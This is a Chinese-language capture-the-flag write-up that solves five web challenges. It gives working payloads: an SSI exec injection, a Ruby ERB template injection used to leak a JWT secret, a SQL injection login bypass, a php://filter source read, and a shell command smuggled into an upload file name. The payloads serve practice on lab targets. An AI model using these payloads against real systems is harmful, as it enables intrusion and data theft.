[BJDCTF2020]EasySearch

swp源码泄露,需要md5前6位固定

import hashlib
for i in range(10000000):
    a = hashlib.md5(str(i).encode('utf-8')).hexdigest()
    b = a[0:6]
    if b == '6d0bc1':
        print(i)
        print(a)

然后是SSI注入

SSI 注入全称Server-Side Includes Injection,即服务端包含注入。SSI 是类似于 CGI,用于动态页面的指令。SSI 注入允许远程在 Web 应用中注入脚本来执行代码。
SSI是嵌入HTML页面中的指令,在页面被提供时由服务器进行运算,以对现有HTML页面增加动态生成的内容,而无须通过CGI程序提供其整个页面,或者使用其他动态技术。
从技术角度上来说,SSI就是在HTML文件中,可以通过注释行调用的命令或指针,即允许通过在HTML页面注入脚本或远程执行任意代码。

payload:

username=<!--#exec cmd="ls ../"-->
password=2020666

[SCTF2019]Flag Shop

Ruby的模板注入,离谱。。。。。。参考链接
在robots.txt中发现提示/filebak,打开获得源码。
利用的注入点:

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end

如果do和name匹配则输出name中的值,存在长度限制,注意到前面有一次对密钥的正则匹配,这里用Ruby的预变量

$': The string to the right of the last successful match.

传入do和name=<%=$\'%>(编码后)

work?SECRET=&name=%3c%25%3d%24%27%25%3e&do=%3c%25%3d%24%27%25%3e%20is%20working

伪造jwt密钥修改money购买flag即可。

[MRCTF2020]Ezaudit

审计PHP代码发现$Public_key = KVQP0LdJKRaV3n9D,可以借此得到该PHP代码使用的随机数种子,简单处理后直接拿脚本跑(注意PHP版本)。
发现登陆框,直接上万能密码

 1' or 1 = 1#

[GXYCTF2019]StrongestMind

写个脚本进行计算就行了

import re
import requests
from time import sleep

def count():
    s = requests.session()
    url = 'http://c39b6aaa-4d51-4b1d-b777-32741c72ccc8.node3.buuoj.cn/'
    match = re.compile(r"[0-9]+ [+|-] [0-9]+")
    r = s.get(url)
    for i in range(1001):
        sleep(0.1)
        str = match.findall(r.text)[0]
        # print(eval(str))
        data = {"answer" : eval(str)}
        r = s.post(url, data=data)
        r.encoding = "utf-8"
        print('{} : {}'.format(i,eval(str)))
        # print(r.text)
    print(r.text)

if __name__ == '__main__':
    count()

[N1CTF 2018]eating_cms

有外网渗透内味儿了
发现能用伪协议读源码,读一下function.php,发现ffffllllaaaaggg,但存在过滤。
这里利用parse解析的漏洞:

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

根据得到的信息访问templates/upload.html,发现是个假的。。。。。。
查看upllloadddd.php文件,发现命令执行

$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");

在m4aaannngggeee中上传文件,修改文件名

;cd ..;cat flag_233333;#

bingo!

标签: none

添加新评论